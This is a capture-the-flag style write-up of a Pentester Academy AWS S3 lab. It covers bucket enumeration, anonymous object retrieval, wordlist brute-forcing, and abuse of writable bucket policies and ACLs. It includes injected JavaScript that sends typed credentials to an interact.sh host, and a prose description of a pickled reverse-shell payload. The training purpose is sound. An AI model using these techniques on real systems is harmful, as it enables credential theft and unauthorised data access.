Post

Pentester Academy AWS S3 Attack Lab

Enumeration

  1. List buckets and get region for bucket →

    1
    2
    3
    4
    5
    
     # List buckets using s3api
     awsn s3api list-buckets | jq '.Buckets[] | .Name' | tr -d "\""
    
     # Get region for bucket
     awsn s3api get-bucket-location --bucket insecurecorp-code | jq '.LocationConstraint'
    
  2. Get versioning for buckets →

    1
    2
    3
    4
    5
    6
    7
    
     # For a single bucket
     awsn s3api get-bucket-versioning --bucket data-extractor-repo | jq '.Status' | tr -d "\""
    
     # Get names of buckets with versioning enabled
     for i in $(awsn s3api list-buckets | jq '.Buckets[] | .Name' | tr -d "\""); do
     if [[ $(awsn s3api get-bucket-versioning --bucket $i 2>/dev/null | jq '.Status' | tr -d "\"") == "Enabled" ]]
     then echo $i; fi; done
    
  3. List objects and versions in a bucket →

    1
    2
    3
    4
    5
    6
    7
    8
    
     # List objects in a bucket
     awsn s3api list-objects --bucket data-extractor-repo
    
     # List object versions
     # Prefix will match the given string from the beginning of objects
     # It can be used with a Delimiter so that everything starting with prefix up to
     # the delimiter is matched and returned
     awsn s3api list-object-versions --bucket data-extractor-repo --prefix index.html
    
  4. Get special information on bucket →

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
     # Know if bucket is public or not
     awsn s3api get-public-access-block --bucket insecurecorp-code
    
     # Get policy for bucket
     awsn s3api get-bucket-policy --bucket insecurecorp-code --output text | jq
    
     # Get ACL for bucket
     awsn s3api get-bucket-acl --bucket insecurecorp-code
    
     # Get Logging information for bucket
     awsn s3api get-bucket-logging --bucket insecurecorp-code
    

Basics

  1. Identify the S3 endpoint →
1
2
# Identification of S3 endpoint can be done by using nmap
nmap -sV 192.37.2.3

This gives an output of unknown service cslistener running at port 9000 along with some HTTP type return. Using curl on this endpoint gives the following →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
http://192.37.2.3:9000 -v

* Rebuilt URL to: http://192.37.2.3:9000/
*   Trying 192.37.2.3...
* TCP_NODELAY set
* Connected to 192.37.2.3 (192.37.2.3) port 9000 (#0)
> GET / HTTP/1.1
> Host: 192.37.2.3:9000
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Accept-Ranges: bytes
< Content-Length: 226
< Content-Security-Policy: block-all-mixed-content
< Content-Type: application/xml
< Server: MinIO/RELEASE.2019-09-05T23-24-38Z
< Vary: Origin
< X-Amz-Request-Id: 16E69AAC117238E7
< X-Xss-Protection: 1; mode=block
< Date: Sun, 17 Apr 2022 06:19:37 GMT
<
<?xml version="1.0" encoding="UTF-8"?>
* Connection #0 to host 192.37.2.3 left intact
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Resource>/</Resource><RequestId>16E69AAC117238E7</RequestId><HostId>49db7dfe-bdf5-4b2b-bbba-7e3fb2d7e1a3</HostId></Error>

The headers contain X-Amz-Request-Id which signifies that the resource is an Amazon service and the server can be seen as Minio which is an open source S3 service.

  1. List all buckets owned by the current user and the contents of the hello-world bucket →
1
2
3
4
5
# Using the endpoint flag to specify a specific endpoint
aws --endpoint http://192.37.2.3:9000 s3api list-buckets

# List the objects within the hello-world bucket
aws --endpoint http://192.37.2.3:9000 s3api list-objects --bucket hello-world
  1. Get the objects from the hello-world bucket to retrieve the flag →
1
2
# The key can be mentioned to retrieve specific objects and the next argument is the outfile
aws --endpoint http://192.37.2.3:9000 s3api get-object --key flag flag --bucket hello-world
  1. Put a file into the bucket →
1
2
3
4
5
6
7
# Make a new file
echo "hello-world" > file

# Upload to the bucket
aws --endpoint http://192.37.2.3:9000 s3api put-object --key file --body file --bucket hello-world
# Can also use s3 cp command
# Using the s3api command without body flag will make an object of size 0 bytes
  1. Check permissions to retrieve objects from bucket welcome
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ aws --endpoint http://192.37.2.3:9000 s3api get-bucket-policy --bucket welcome --output text | python3 -m json.tool
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AddPerm",
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "*"
                ]
            },
            "Action": [
                "s3:GetObject"
            ],
            "Resource": [
                "arn:aws:s3:::welcome/*"
            ]
        }
    ]
}

This means that anyone can retrieve objects from the bucket but NOT list them as s3:ListBucket is not present.

  1. Modify policy of welcome bucket to allow listing by anyone →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ cat > policy.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AddPerm",
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "*"
                ]
            },
            "Action": [
                "s3:GetObject"
            ],
            "Resource": [
                "arn:aws:s3:::welcome/*"
            ]
        },
        {
            "Sid": "Addednew",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "s3:ListBucket",
            "Resource": [
                "arn:aws:s3:::welcome"
            ]
        }
    ]
}

# Add the policy to the bucket
aws --endpoint http://192.37.2.3:9000 s3api put-bucket-policy --policy file://policy.json --bucket welcome

The objects can be listed now from http://192.37.2.3:9000/welcome using curl.

  1. Delete an object from the hello-world bucket →
1
aws --endpoint http://192.37.2.3:9000 s3api delete-object --key "welcome" --bucket hello-world

Sensitive Data Exposure

The Lab exposes a URL → https://uyphi3oonj.execute-api.ap-southeast-1.amazonaws.com/default

The page loads static contents from an S3 bucket. This gives the name of the bucket as lab-webapp-static-resources. Enumerating objects by public permissions →

1
aws s3 cp s3://lab-webapp-static-resources/scripts/backup.sh ./backup.sh --no-sign-request

The backup file contains a curl request to download a backup of user data. This downloaded data contains a flag as well as user credentials.


S3 Guessable Object

The Lab provides an endpoint which has a bucket public with a policy to allow retrieval of objects however, not for listing the buckets or objects. An existing key can be searched for within a brute force wordlist and attempting to curl them as follows →

1
2
3
4
for i in $(cat /usr/share/dirb/wordlists/small.txt)
do
curl -s http://192.96.62.3:9000/public/$i | grep -vE "(key does not exist)|(encoding)"
done

Hardcoded Credentials

The Lab provided credentials for a random IAM user who had general permissions to read the upload-xxx bucket but not the flag-xxx bucket. However, the upload-xxx bucket contained hardcoded AWS credentials which allows access as the admin user which had the permissions to read from all buckets and could therefore retrieve the flag.


Readable Bucket Policy

The lab gives a bucket that has the following bucket policy →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetBucketPolicy",
      "Resource": "arn:aws:s3:::s3-readable-policy-117119606323"
    },
    {
      "Effect": "Deny",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:List*",
      "Resource": "arn:aws:s3:::s3-readable-policy-117119606323"
    },
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::s3-readable-policy-117119606323/this-is-flag"
    }
  ]
}

This allows reading the this-is-flag object to everyone.


Special Request

The lab gives a bucket that has the following policy →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetBucketPolicy",
      "Resource": "arn:aws:s3:::s3-special-request-439586372472"
    },
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::s3-special-request-439586372472/flag",
      "Condition": {
        "StringLike": {
          "aws:UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/*"
        }
      }
    }
  ]
}

This allows reading the flag object if the request has a User Agent string as specified. Therefore, a curl request for the following can get the flag

1
curl https://s3-special-request-439586372472.s3.amazonaws.com/flag -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/*"

Writable Bucket Policy

The lab gives a bucket which has the following policy →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "s3:GetBucketPolicy",
        "s3:PutBucketPolicy"
      ],
      "Resource": "arn:aws:s3:::s3-writable-policy-555466747704"
    },
    {
      "Effect": "Deny",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::s3-writable-policy-555466747704/flag"
    }
  ]
}

The policy allows adding to i.e., modifying the bucket policy which can then be edited to remove the Deny rule for the flag object. The same policy can be used, except the Deny rule should be removed and the GetObject action added. Then apply the policy to the bucket as follows →

1
awsn s3api put-bucket-policy --policy file://policy.json --bucket s3-writable-policy-555466747704

The policy would now become →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "s3:GetBucketPolicy",
        "s3:PutBucketPolicy"
      ],
      "Resource": "arn:aws:s3:::s3-writable-policy-555466747704"
    },
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::s3-writable-policy-555466747704/flag"
    }
  ]
}

Now, the flag object can be retrieved.


Writable Bucket ACL

The lab provides a bucket which has it’s ACL set to the following →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
    "Owner": {
        "DisplayName": "jeswincloud+1615526435580",
        "ID": "53a8d91fd037af9e568205fb59b36cc80feabb24efe2fe0f8d1bddd86e409368"
    },
    "Grants": [
        {
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
            },
            "Permission": "READ_ACP"
        },
        {
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
            },
            "Permission": "WRITE_ACP"
        }
    ]
}

This allows all global authenticated AWS users to read and write the access control policy for the bucket. Therefore, a change can be made to the first grant such that the permission if READ instead of READ_ACP so that not only can the ACP but also the contents. This gives the secret bucket which can be used to read the flag. To apply the policy, the following is used →

1
2
# policy.json holds the modified access control policy
awsn s3api put-bucket-acl --bucket s3-secret-670128143243 --access-control-policy file://policy.json

Writable Object ACL

Just like the Writable Bucket ACL, this labs gives a bucket with a restricted ACL for the flag object. Th policy is similar to that of the bucket in previous lab but for the object. Changing the READ_ACP to READ can allow reading the object, however will disallow reading the access contorl policy. It can be updated as follows →

1
awsn s3api put-object-acl --key flag --bucket s3-secret-357630943120 --access-control-policy file://policy.json

This allows reading the flag object.


Guessable Bucket

The lab gives an Ubuntu instance with an S3 endpoint. The buckets can be enumerated against a list of names by using a wordlist as follows →

1
2
for i in $(cat /usr/share/dirb/wordlists/small.txt )
do curl -s http://192.167.222.3:9000/$i | grep -vE "(NoSuchBucket)|(specified bucket is not valid)"; done

This gives the bucket as secret and the flag can be retrieved as follows →

1
curl -s http://192.167.222.3:9000/secret/FLAG

Chaining Attacks

The lab gives an IAM user who has some access to S3. There are two buckets and the static files store and the main bucket contents can be retrieved using the following command →

1
2
# For static bucket, remove static to list for the other bucket
awsn s3api list-objects --bucket s3-file-load-static-431664597780 | jq '.Contents[] | .Key'

The bucket policy for the main website is hidden and not authorized for our user or anonymous users to edit however, the one for the static content is as follows →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllObjectActions",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "s3:Get*",
        "s3:Put*",
        "s3:List*"
      ],
      "Resource": [
        "arn:aws:s3:::s3-file-load-static-431664597780/*",
        "arn:aws:s3:::s3-file-load-static-431664597780"
      ]
    }
  ]
}

Therefore, anyone can add to or edit the content. An example would be to carry out an XSS attack. The source code of the main website uses a custom.js code which is situated in the static content bucket. This can be edited due to the policy and introduce an XSS bug.

List the javascript files in the static buckets using the following code →

1
awsn s3api list-objects --bucket s3-file-load-static-431664597780 --prefix "static/javascript"

The modified javascript file can be uploaded as follows →

1
awsn s3api put-object --bucket s3-file-load-static-108536353935 --key "static/javascript/custom.js" --body custom.js

The edited javascript can be seen below →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function makeRequest() {
    var xhttp = new XMLHttpRequest();

    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        document.getElementById("output").innerHTML = this.responseText;
      }
      if (this.readyState == 4 && this.status != 200) {
        document.getElementById("output").innerHTML = "Invalid Credentials";
      }
    };
    var url = 'https://ahyk95vfo5.execute-api.us-west-2.amazonaws.com/dev?username=' + $('#pi3').val() + '&password=' + $('#pi4').val();
    xhttp.open("GET", url, true);
    xhttp.send();
    document.getElementById("output").innerHTML = "<img src='http://c9et0w32vtc0000btwzggrzpyqryyyyyb.interact.sh/creds?username=' + $('#pi3').val() + '&password=' + $('#pi4').val() />";
    alert("XSS");
}

Python Object Store

The lab gives a web server running from S3 which has public access to listing the assets bucket which also contains information about sessions. Each session is represented by a token which basically holds the credentials of the service in a python pickle format. A payload for a reverse shell can be pickled in python and uploaded in place of the session such that when the web session reloads, the session will launch a reverse shell if the attacker machine is listening. With the shell, root privileges are obtained and can be used to retrieve the flag.


This post is licensed under CC BY 4.0 by the author.